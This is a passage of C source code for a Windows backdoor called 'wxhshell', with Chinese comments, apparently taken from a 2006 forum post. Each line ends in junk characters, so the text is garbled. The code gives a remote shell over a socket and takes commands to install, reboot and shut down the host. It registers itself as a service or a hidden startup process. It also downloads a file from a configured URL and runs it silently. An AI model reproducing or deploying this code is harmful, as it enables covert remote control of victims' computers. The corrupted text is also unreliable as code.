      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }fUV*U:3  
    break; 7'd_]e-.  
  } $U3s:VQ'  
  // 安装 Xfk&{zO-j  
  case 'i': { xqX~nV#TB  
    if(Install()) }>fL{};Z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4, 8gf2  
    else mbU[fHyV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &$|k<{j[<f  
    break; Cj,fP[p#7  
    } ZI-)'  
  // 卸载 USfOc  
  case 'r': { Z'hW;^e%_z  
    if(Uninstall()) BB>3Kj:|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e=QnGT*b5  
    else /\(0@To  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mq do@  
    break; mS6L6)] S  
    } OANn!nZ.  
  // 显示 wxhshell 所在路径 P.=&:ay7?  
  case 'p': { R@u6mMX{N,  
    char svExeFile[MAX_PATH]; Wl?*AlFlk  
    strcpy(svExeFile,"\n\r"); @?f3(G h,  
      strcat(svExeFile,ExeFile); ?&j[Rj0pH  
        send(wsh,svExeFile,strlen(svExeFile),0); G/bWn@  
    break; 5,|^4 ZA  
    } -aXV}ZY"  
  // 重启 ;q59Cr75  
  case 'b': { M8Q-x-7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dt<PZ.  
    if(Boot(REBOOT)) [ wi "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v_En9~e^n  
    else { P] ouLjyq  
    closesocket(wsh); 1B}6 zJ  
    ExitThread(0); |r$Vb$z  
    } 5JBenTt  
    break; )W(?wv!,  
    } 1)X%n)2pr  
  // 关机  3_+-t5  
  case 'd': { K3M<%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0,{Dw9W:  
    if(Boot(SHUTDOWN)) z<hy#BIjnd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [}N?'foLb  
    else { ]+{Cy\*kR  
    closesocket(wsh); bo4 :|Z  
    ExitThread(0); ebcGdC/%>  
    } b Bb$0HOF  
    break; O sbY}*S  
    } 25NZIal<  
  // 获取shell fr4#< 6,  
  case 's': { }b\e2ZK  
    CmdShell(wsh); #db8ur3?  
    closesocket(wsh); @q}.BcSg  
    ExitThread(0); |.0/~Xy-  
    break; 2X&~!%-  
  } V#'sH  
  // 退出 -"UK NB!  
  case 'x': { (&=-o(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k:nr!Y<  
    CloseIt(wsh); [>=D9I@~  
    break; K, WNM S  
    } 4w}\2&=  
  // 离开 m1heU3BUWU  
  case 'q': { !-m (1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  S`)KC-  
    closesocket(wsh); MMN2X xS  
    WSACleanup(); bW7tJ  
    exit(1); {+0]diD  
    break; ICN>8|O`&  
        } qH: ` O%,  
  } #KF:(2  
  } &HNJ '  
wWKC.N  
  // 提示信息 }5z6b>EI9a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - /]ro8V$  
} .9#4qoM'  
  } )O#]Wvr  
(_^g:>)Cs  
  return; hc4<`W{  
} b'pbf  
RFU(wek  
// shell模块句柄 YR@@:n'TP  
int CmdShell(SOCKET sock) V7G?i\>  
{ :z_D?UQ  
STARTUPINFO si; EW%%W6O6  
ZeroMemory(&si,sizeof(si)); s/Fc7V!;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z,M?!vK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;cH|9m:Y  
PROCESS_INFORMATION ProcessInfo; W/<]mm~95  
char cmdline[]="cmd"; w}c1zpa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sU^2I v\%  
  return 0; M`*B/Fh 2  
} KdHR.;*  
r :{2}nE  
// 自身启动模式 9x0B9&  
int StartFromService(void) ( \{9W  
{ r  /63  
typedef struct mT <4@RrB  
{ YAv-5  
  DWORD ExitStatus; E{[c8l2B  
  DWORD PebBaseAddress; mk2T   
  DWORD AffinityMask; #I|Vyufw  
  DWORD BasePriority; LYhgBG,   
  ULONG UniqueProcessId; W$O^IC  
  ULONG InheritedFromUniqueProcessId; *6s B$E_y  
}   PROCESS_BASIC_INFORMATION; " ;_bB"q*  
!@{_Qt1  
PROCNTQSIP NtQueryInformationProcess; ^>gRK*,  
s3HwBA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^3B{|cqf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &PI}o  
-==@7*x!Z  
  HANDLE             hProcess; ~ ' 81  
  PROCESS_BASIC_INFORMATION pbi; BG_m}3j  
~aQ>DpSEf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tSV}BM,  
  if(NULL == hInst ) return 0; iJv4%|9  
b#(SDNo6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [yM{A<\L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $v#Q'?jE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JR|yg=E  
D|/Azy.[  
  if (!NtQueryInformationProcess) return 0; A)Wp W M  
2+M(!FHfy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -l+ &Bkf  
  if(!hProcess) return 0; VI,z7 \  
C18pK8-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y:WRpCZoa  
7}(wEC  
  CloseHandle(hProcess); lEIX,amwa  
W"?|OQ'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Z;ziM:  
if(hProcess==NULL) return 0; A8&yB;T$y  
-sm{Hpf_b  
HMODULE hMod; $9Ho d-Z1  
char procName[255]; .\= GfF'  
unsigned long cbNeeded; 9:4PJ%R9  
5Al 59]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O6LZ<}oUR  
;ob-'  
  CloseHandle(hProcess); [7q~rcf,Z  
Ap9CQ h=!  
if(strstr(procName,"services")) return 1; // 以服务启动 B;XFPQ#b  
x.qn$?3V]  
  return 0; // 注册表启动 fIN8::Cs[  
} rp u9  
M>P-0IC  
// 主模块 ;ZPAnd:pb  
int StartWxhshell(LPSTR lpCmdLine) .%_scNP  
{ d!7cIYVZ  
  SOCKET wsl; KT~J@];Fb  
BOOL val=TRUE; %Ez%pT0TQ#  
  int port=0; O|m-Uz"+  
  struct sockaddr_in door; 3.U5Each-  
A\ds0dUE  
  if(wscfg.ws_autoins) Install(); !;.i#c_u  
o[q Kf  
port=atoi(lpCmdLine); #qWa[kB  
 /s.sW l  
if(port<=0) port=wscfg.ws_port; ?1?D[7$  
9-[g/qrF  
  WSADATA data; nF0$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *X+T>SKL  
SoeL_#+^W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I&Q.MItW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8.HqQ:?&2t  
  door.sin_family = AF_INET; c) Zid1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &?YbAo_K  
  door.sin_port = htons(port); _?#}@?  
mwVH>3{j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &MsnQP  
closesocket(wsl); V^B'T]s  
return 1; U4qp?g+:  
} Z2~;u[0a[  
,pE{N&p9  
  if(listen(wsl,2) == INVALID_SOCKET) { Zm& X $U  
closesocket(wsl); <\eHK[_*  
return 1; Rd|};-  
} GV#"2{t j  
  Wxhshell(wsl); EpSVHD:*  
  WSACleanup(); e#JJd=  
/*!K4)$-*2  
return 0; w^e<p~i!^E  
9Slx.9f  
} -'3~Y 2#  
;V`e%9 .  
// 以NT服务方式启动 Q+'mBi}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +!Q<gWb  
{ ))V)]+  
DWORD   status = 0; KZUB{Y^)  
  DWORD   specificError = 0xfffffff; fw kX-ON  
$HT {}^B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e8 4[B.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [}q6bXM*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;W,XP#{W  
  serviceStatus.dwWin32ExitCode     = 0; bDVz+*bU}  
  serviceStatus.dwServiceSpecificExitCode = 0; (Em^qN  
  serviceStatus.dwCheckPoint       = 0; uq~$HXdc  
  serviceStatus.dwWaitHint       = 0; Cp=DdmR  
P,lKa.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *t.L` G  
  if (hServiceStatusHandle==0) return; S]mXfB(mh  
/=&HunaxI  
status = GetLastError(); W- 5Z"m1I  
  if (status!=NO_ERROR) .)~IoIW=  
{ URS6 LM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H4p N+  
    serviceStatus.dwCheckPoint       = 0; !]=  
    serviceStatus.dwWaitHint       = 0; Wcd;B7OH  
    serviceStatus.dwWin32ExitCode     = status; 4^\5]d!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8gWifx #N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CIAHsbn.A  
    return; Lb;:<  
  } SVWtKc<  
4%>iIPXi.(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d6,SZ*AE  
  serviceStatus.dwCheckPoint       = 0; .E}fk,hLB  
  serviceStatus.dwWaitHint       = 0; k44s V.G4L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0)n#$d>  
} $}RBK'cr}  
gBb+Q,  
// 处理NT服务事件,比如:启动、停止 3* C9;Q}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |pxM8g1w  
{ qE?*:$  
switch(fdwControl) %_C!3kKv~  
{ 6&/n/g  
case SERVICE_CONTROL_STOP: `7$0H]*6  
  serviceStatus.dwWin32ExitCode = 0; ~x;1&\'k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }qU(G3  
  serviceStatus.dwCheckPoint   = 0; $'Z\'<k[  
  serviceStatus.dwWaitHint     = 0; l?GN& u  
  { 7\I,;swo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &6 .r=,BO  
  } uz-O%R-  
  return; veX#K#  
case SERVICE_CONTROL_PAUSE: +I1>; {{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CUIT)mF:  
  break; 6S7 =+>  
case SERVICE_CONTROL_CONTINUE: TpXbJ]o9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j"o8]UT/  
  break; {"hX_t  
case SERVICE_CONTROL_INTERROGATE: KY 085Fvs  
  break; AX=$r]_  
}; {`~uBz+dJq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W&>ONo6ki  
} r5y p jT^  
"`<tq#&C1  
// 标准应用程序主函数 OSACH0h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B^Y AKbY  
{ 6t@kft>Nv  
A'Q=Do E  
// 获取操作系统版本 w5zr Ek#  
OsIsNt=GetOsVer(); &,E^ y,r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g2Pa-}{  
NvCq5B$C  
  // 从命令行安装 S9BwCKH  
  if(strpbrk(lpCmdLine,"iI")) Install(); \yDr  
m/}(dT;  
  // 下载执行文件  g=W1y  
if(wscfg.ws_downexe) { K[} 5bjh>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k~ Z9og  
  WinExec(wscfg.ws_filenam,SW_HIDE); -pEt=  
} qQ\&]  
V`:iu n^f  
if(!OsIsNt) { J*HZ=6L  
// 如果时win9x,隐藏进程并且设置为注册表启动 >a;0<Ui&Q  
HideProc(); ;Z:zL^rvn  
StartWxhshell(lpCmdLine); M.B0)  
} ^f][;>c  
else kB~KC-&O  
  if(StartFromService()) K(bid0 Y  
  // 以服务方式启动 +M@p)pyu  
  StartServiceCtrlDispatcher(DispatchTable); o2p;$W4`  
else z*,P^K 0T  
  // 普通方式启动 rBNl%+ sB  
  StartWxhshell(lpCmdLine);  ?X{ul  
)Pr*\<Cld  
return 0; ,EhQTVJ  
}
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只看该作者 1 发表于: 2006-10-10
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